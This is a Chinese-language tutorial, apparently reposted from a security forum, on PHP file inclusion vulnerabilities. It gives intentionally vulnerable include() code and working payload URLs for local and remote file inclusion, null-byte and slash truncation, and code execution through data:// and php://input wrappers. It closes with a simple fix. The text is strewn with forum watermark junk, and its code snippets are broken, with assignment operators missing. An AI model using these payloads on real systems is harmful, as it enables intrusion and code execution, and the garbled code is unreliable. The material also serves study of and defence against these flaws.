PHP学习文件包含的那些事

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP学习文件包含的那些事相关的知识,希望对你有一定的参考价值。

/*学习php中,依然是搜索引擎加上个人实践的结果
**
抛砖引玉~ - 低调求发展: a; @* w) \+ |) t: p
**Author 
音符
9 Y" Q1 V3 R0 {% d& Q  I& J! {‘ V
*/

* S* g" y( i/ r
0x00  
包含漏洞成因 - 低调求发展- v2 \4 p: j. v7 \9 b
首先需要了解include()函数与require()函数,他们会将所包含的任何格式的文件以php形式执行。
两个函数功能基本相同,此外只有当所包含的文件不存在的时候才会体现两个函数的不同,如图。
01 <?php
02 echo "It is How include() run.\r\n";
03 include(‘no.no‘);
04 echo ‘XDSEC‘;
05  
06 ?>
07  
08  
09 <?php
10 echo "It is How require() run.\r\n";
11 require(‘no.no‘);
12 echo ‘XDSEC‘;
13  
14 ?>
[attach]25375[/attach] 技术分享 

很清楚,如果是include的话,只会返回一个warning,后续代码可以继续执行,然后如果是require的话,则返回一个致命错误,脚本停止执行。: r% Y) e0 u- G: l5 o
此外,与此相似的还有require_once(),include_once()两个函数,效果大同小异。www.t00ls.net  ^6 ^1 ~! N; j; m5 Y- T5 P* z‘ P
- 低调求发展 - 潜心习安全2 l& y0 u/ ^: B: T
0x10 How to use
test.php:
1 <?php
2 $content $_GET[‘content‘];
3 include($content);
4 ?>
0x11 包含已上传文件 - 低调求发展0 u; b( `5 w* i, V7 [
Usage:test.php?content=../upload/x.jpg - 低调求发展% v" o0 g$ a% G: M
适用于存在上传,但是无法上传可执行脚本的情况下,结果如图。

[attach]25377[/attach]T00ls.Net - 低调求发展 - 潜心习安全 - Focus On Cyber Security6 p4 T+ {& m9 e% f
www.t00ls.net, h, J( h, ~, o
0x12 包含截断www.t00ls.net1 u6 r) `( y2 t5 b5 [5 W
然而在实战中,我们遇到的代码可能是这样的T00ls.Net - 低调求发展 - 潜心习安全 - Focus On Cyber Security4 B( R  ^* {! o* r/ n
include($content."htm");  //
上例结果则包含x.jpg.htmwww.t00ls.net8 I‘ G6 m‘ n+ _2 X3 w9 l" N
这就需要利用到%00截断,我们知道字符串以\0为结束符,那么include函数只能读取到x.jpg正是我们上传的文件。www.t00ls.net4 x& k4 f8 ]0 H% m7 C9 M
Usage:T00LS3 ]; x0 c; d4 \/ k1 b) t

但是这个是当gpc=off的时候我们可以用%00截断。 - 低调求发展 - 潜心习安全8 b1 U: @0 P/ L1 y
但是当gpc=ON时,%00会被转义,我们需要其他方法,有资料显示可以用/截断,但是需要一定长度的/,所以我们写一个脚本来测试,当存在多少个/时可以截断后面的字符。
1 <?php
2 $content ‘x.jpg‘;
3 for($i=1;$i<=1000;$i++){
4   $content .="/";
5 $a = @include($content.".htm");  //包含错误则不回显
6 if($a == 1){
7   echo $i;    //包含成功时返回/个数
8 }
9 }
于是乎
Usage:
 http://127.0.0.1/test.php?content=x.jpg//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////   (230/)

技术分享 T00LS9 c; Q0 G: n7 h9 L9 Q( H
- 低调求发展1 n6 F( h% {0 r6 ?

以上就是常见的LFILocal File Inclusion)的方法,另外,当allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件。

 

0x13 RFI

利用于不可上传文件时。

Usage: http://127.0.0.1/test.php?content=http://10.11.221.133/x.jpg%00

更多的,当gpc=on时,RFI可以用?来截断,如图。

技术分享

8 z- a! Q* `8 l, t. X

 

当然,如果有如下过滤

 

1 <code id="code3"><?php
2 $content $_GET[‘content‘];
3 if (strrpos($content"http")===false) {
4   include($content.".htm");
5 }
6 else {
7   echo "Wrong File!";
8 }
9 ?></code>

 

限制了CONTENT中不能出现http字样,那么就无法远程包含了。另有绕过方法。

T00LS; w2 P) a6 u$ s. [‘ S5 P

0x14 PHP伪协议

关于php封装协议的内容,请查阅php手册相关。

在此只是举出几例应用。

PHP 5.2起,可以用data://封装数据流

Usage: http://127.0.0.1/test.php?content=data://text/plain,<?php%20phpinfo();?>

技术分享

9 c" E+ c5 {4 n$ G& v# n7 h‘ K$ J

 

 PHP 4.3.0 起支持 - 低调求发展 - 潜心习安全  \- T  m) [+ S9 u5 f
php://output - 低调求发展 - 潜心习安全$ u# s, i0 B# K) P% t! d
T00ls.Net - 低调求发展 - 潜心习安全 - Focus On Cyber Security; T- i4 c) w& s: J! T# o; |. C# V
php://input,

而利用php://input输入流,则相当于拿到一个可以任意执行的漏洞。


Usage:

技术分享


 

只要我们输入流提交任意命令都会当成一个php语句来执行。猥琐的利用。

- l# V2 b, V: b- Y

0x15 etc

Apache日志包含,系统文件包含,目录遍历。。。各种牛逼漏洞不明觉厉,可惜是linux下的,我对linux不了解,就不班门弄斧了,等待各位来补充。

T00LS* s, B% E2 ~: k0 p# @; a

0x20 How To fix it

 

1 <code id="code4"><?php
2 $content $_GET[‘content‘];
3 if (strrpos($content"..")===false) {
4   include("temp/".$content.".htm");
5 }
6 else {
7   echo "Wrong File!";
8 }
9 ?></code>

 

预先将要包含的文件放入一个temp文件夹,这样RFI跟伪协议都行不通了,然后禁止content中出现..来禁止跳到其他目录.

PS:这个脚本是我自己写的,有错的话希望大家不吝赐教(求绕过,求爆草)。

- 低调求发展# c/ ^& G1 k/ ~( q  E

Reffer

https://www.t00ls.net/viewthread.php?tid=22603&highlight=%E5%8C%85%E5%90%AB

http://blog.csdn.net/cnbird2008/article/details/8520667

http://www.2cto.com/Article/201304/201062.html

image003.png (38.66 KB)

 

技术分享

image005.png (43.15 KB)

 

技术分享

























以上是关于PHP学习文件包含的那些事的主要内容,如果未能解决你的问题,请参考以下文章

Swoole 和 Swoft 的那些事 (Http/Rpc服务篇)

C++学习日记:关于我决定开始学习C++的那些事

python3_05.文件操作那些事

聊聊视频播放那些事1

项目中的那些事---PHP函数

PHP有关JWT(Json Web Token)的那些事